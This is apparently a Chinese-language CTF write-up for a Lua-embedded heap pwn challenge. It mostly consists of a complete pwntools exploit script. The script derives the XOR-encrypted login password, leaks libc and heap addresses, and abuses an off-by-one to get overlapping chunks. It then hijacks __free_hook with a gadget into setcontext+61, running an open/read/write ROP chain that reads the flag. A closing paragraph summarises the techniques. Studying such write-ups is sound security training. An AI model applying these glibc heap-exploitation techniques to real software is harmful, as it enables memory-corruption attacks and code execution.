- free觸發rop鏈,orw讀取flag
exp
from pwn import *from gmssl import funccontext.log_level = 'debug'context.terminal = ["/usr/bin/tmux","sp","-h"]
#io = remote('127.0.0.1', 6010)# libc = ELF('./libc-2.31.so')# io = process(['./test', 'real'])io = process('./pwn')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))rl = lambda a=False : io.recvline(a)ru = lambda a,b=True : io.recvuntil(a,b)rn = lambda x : io.recvn(x)sn = lambda x : io.send(x)sl = lambda x : io.sendline(x)sa = lambda a,b : io.sendafter(a,b)sla = lambda a,b : io.sendlineafter(a,b)irt = lambda : io.interactive()dbg = lambda text=None : gdb.attach(io, text)lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))uu32 = lambda data : u32(data.ljust(4, b'\x00'))uu64 = lambda data : u64(data.ljust(8, b'\x00'))ur64 = lambda data : u64(data.rjust(8, b'\x00'))initkey = p64(0x6b8b4567327b23c6)
table = [ 0xBE, 0xD1, 0x90, 0x88, 0x57, 0x00, 0xE9, 0x53, 0x10, 0xBD, 0x2A, 0x34, 0x51, 0x84, 0x07, 0xC4, 0x33, 0xC5, 0x3B, 0x53, 0x5F, 0xA8, 0x5D, 0x4B, 0x6D, 0x22, 0x63, 0x5D, 0x3C, 0xBD, 0x47, 0x6D, 0x22, 0x3F, 0x38, 0x4B, 0x7A, 0x4C, 0xB8, 0xCC, 0xB8, 0x37, 0x78, 0x17, 0x73, 0x23, 0x27, 0x71, 0xB1, 0xC7, 0xA6, 0xD1, 0xA0, 0x48, 0x21, 0xC4, 0x1B, 0x0A, 0xAD, 0xC9, 0xA5, 0xE6, 0x14, 0x18, 0xFC, 0x7B, 0x53, 0x59, 0x8B, 0x0D, 0x07, 0xCD, 0x07, 0xCC, 0xBC, 0xA5, 0xE0, 0x28, 0x0E, 0xF9, 0x31, 0xC8, 0xED, 0x78, 0xF4, 0x75, 0x60, 0x65, 0x52, 0xB4, 0xFB, 0xBF, 0xAC, 0x6E, 0xEA, 0x5D, 0xCA, 0x0D, 0xB5, 0x66, 0xAC, 0xBA, 0x06, 0x30, 0x95, 0xF4, 0x96, 0x42, 0x7A, 0x7F, 0x58, 0x6D, 0x83, 0x8E, 0xF6, 0x61, 0x7C, 0x0E, 0xFD, 0x09, 0x6E, 0x42, 0x6B, 0x1E, 0xB9, 0x14, 0x22, 0xF6, 0x16, 0xD2, 0xD2, 0x60, 0x29, 0x23, 0x32, 0x9E, 0xB4, 0x82, 0xEE, 0x58, 0x3A, 0x7D, 0x1F, 0x74, 0x98, 0x5D, 0x17, 0x64, 0xE4, 0x6F, 0xF5, 0xAD, 0x94, 0xAA, 0x89, 0xE3, 0xBE, 0x98, 0x91, 0x38, 0x70, 0xEC, 0x2F, 0x5E, 0x9F, 0xC9, 0xB1, 0x26, 0x3A, 0x64, 0x48, 0x13, 0xF1, 0x1A, 0xC5, 0xD5, 0xE5, 0x66, 0x11, 0x11, 0x3A, 0xAA, 0x79, 0x45, 0x42, 0xB4, 0x57, 0x9D, 0x3F, 0xBC, 0xA3, 0xAA, 0x98, 0x4E, 0x6B, 0x7A, 0x4A, 0x2F, 0x3E, 0x10, 0x7A, 0xC5, 0x33, 0x8D, 0xAC, 0x0B, 0x79, 0x33, 0x5D, 0x09, 0xFC, 0x9D, 0x9B, 0xE5, 0x18, 0xCD, 0x1C, 0x7C, 0x8B, 0x0A, 0xA8, 0x95, 0x56, 0xCC, 0x4E, 0x34, 0x31, 0x33, 0xF5, 0xC1, 0xF5, 0x03, 0x0A, 0x4A, 0xB4, 0xD1, 0x90, 0xF1, 0x8F, 0x57, 0x20, 0x05, 0x0D, 0xA0, 0xCD, 0x82, 0xB3, 0x25, 0xD8, 0xD2, 0x20, 0xF3, 0xC5, 0x96, 0x35, 0x35]
def encode(key,passwd): key = func.bytes_to_list(key) passwd = func.bytes_to_list(passwd) key_arr = [] raw_key = [] data_arr = [] for c in key: key_arr.append(c) raw_key.append(c) for c in passwd: data_arr.append(c) key = key_arr passwd = data_arr for i in range(len(passwd)): v5 = (key[(i + 2) & 7] * (key[(i & 7)] + key[(i + 1) & 7]) + key[(i + 3) & 7])&0xff passwd[i] ^= v5 ^ table[v5] key[(i & 7)] = (2 * v5 + 3)&0xff if (i & 0xf) == 0: key = sub_143A(raw_key,table[i&0xff])
out = b'' for i in passwd: out += i.to_bytes(1, byteorder='little')
return out
def sub_143A(key,seed): tmpkey = [0]*8 for i in range(8): tmpkey[i] = (key[i] ^ table[key[i]])&0xff tmpkey[i] ^= (seed + i)&0xff return tmpkey
passwdd = p32(0x00000000)password = encode(initkey,passwdd)print(hex(int.from_bytes(password,byteorder='little',signed=False))) #0x18f7d121 418894113
def login(): print(111) sla('$','login') sla('account:','1000') sla('password:','418894113')def add(size,content): sla('$','add') sla('?',str(size)) sn(content)def delete(idx): sla('$','del') sla('?',str(idx))def get(idx): sla('$','get') sla('?',str(idx))
login()# leak libc larginbin attackadd(0x500,'') #0add(0x500,'') #1
delete(0) add(0x500,'') #0get(0)ru('')libc_base = uu64(rn(6)) - 0x1c6b0a - 0x25000lg('libc_base')
free_hook = libc_base + libc.sym['__free_hook'] lg('free_hook')setcontext = libc_base + libc.sym['setcontext'] + 61 lg('setcontext')
ret = libc_base + 0x25679 libc_open = libc_base + libc.sym['open'] libc_read = libc_base + libc.sym['read'] libc_write = libc_base + libc.sym['write'] pop_rdi = libc_base + 0x26b72 pop_rsi = libc_base + 0x27529 pop_rdx_r12 = libc_base + 0x000000000011c371 # pop rdx ; pop r12 ; ret
gadget = libc_base + 0x154930 # local getkeyserv_handle set rdx && call context'''.text:0000000000154930 mov rdx, [rdi+8].text:0000000000154934 mov [rsp+0C8h+var_C8], rax.text:0000000000154938 call qword ptr [rdx+20h]'''
# fill size=0x30 chunkadd(0x80, '') # 2 add(0x20, '') # 3 b = 3 j = 20
for i in range(b, j): add(0x20, 'AAA')
for i in range(b + 10, j): delete(i) # make overlap chunkadd(0x98, encode(initkey, b'AAA') + b'') # 13 add(0x500, encode(initkey, b'AAA') + b'') # 14 dbg()add(0xa0, 'AAA') # 15 add(0xa0, 'AAA') # 16 add(0xa0, 'AAA') # 17 delete(13) delete(17) delete(16) delete(15) # leak heap addr add(0xa8, b'') # 13 get(13) io.recvuntil('')heap = u64(io.recv(6).ljust(8, b'\x00')) - 0xa + 0x50+0xb0*2 +0x10# local chunk17's heapaddr#heap = u64(io.recv(6).ljust(8, b'\x00')) - 0xa + 0x200 # local lg('heap')
delete(13)p = b'\x00' + b'\x11' * 0x97 #dbg()add(0x98, encode(initkey, p) + b'\xc1') # 13 # overlapdelete(14) # 5c0 p = b'A' * 0x500 p += p64(0) + p64(0xb1) p += p64(libc_base + libc.sym['__free_hook']) + p64(0) add(0x5b0, encode(initkey, p) + b'') # 14 # remalloc freehook add(0xa8, encode(initkey, b"/bin/sh\x00") + b'') # 13 add(0xa8, encode(initkey, p64(gadget)) + b'') # modify __free_hook as a gadget set rdi -> rdx p = p64(1) + p64(heap) # set to rdxp += p64(setcontext) *4 # call setcontextp = p.ljust(0xa0, b'\x11') p += p64(heap + 0xb0) # rsp p += p64(ret) # rcx rop = p64(pop_rdi) + p64(heap + 0xb0 + 0x98 + 0x18) rop += p64(pop_rsi) + p64(0) rop += p64(pop_rdx_r12) + p64(0) + p64(0) rop += p64(libc_open) rop += p64(pop_rdi) + p64(3) rop += p64(pop_rsi) + p64(heap) rop += p64(pop_rdx_r12) + p64(0x80) + p64(0) rop += p64(libc_read) rop += p64(pop_rdi) + p64(1) rop += p64(libc_write) rop += p64(pop_rdi) + p64(0) rop += p64(libc_read) p += rop p += b'./flag\x00' add(0x800, encode(initkey, p) + b'') # 17
print('get flag...') # triggger freedelete(17)#dbg()irt()
總結
這次比賽算這道題目是壓軸題,做出來的人數個位數,題目參雜了很多知識,包括lua語言、c和lua互調規則、沙箱禁用59號中斷、ORW、花指令、簡單異或流加密、offbyone、lua程序在互調過程中申請chunk的處理,想要做出來不容易,之后復盤也是復盤了好久才看明白,之前不知道freehook修改成setcontext的利用方式,這次明白了,利用setcontext+61,刷新棧到指定堆上,然后構造orw。
進一步增加難度,修改lua虛擬機opcode,使得通用反編譯失敗,需要逆向opcode順序,重新編譯反編譯工具,這就更變態了。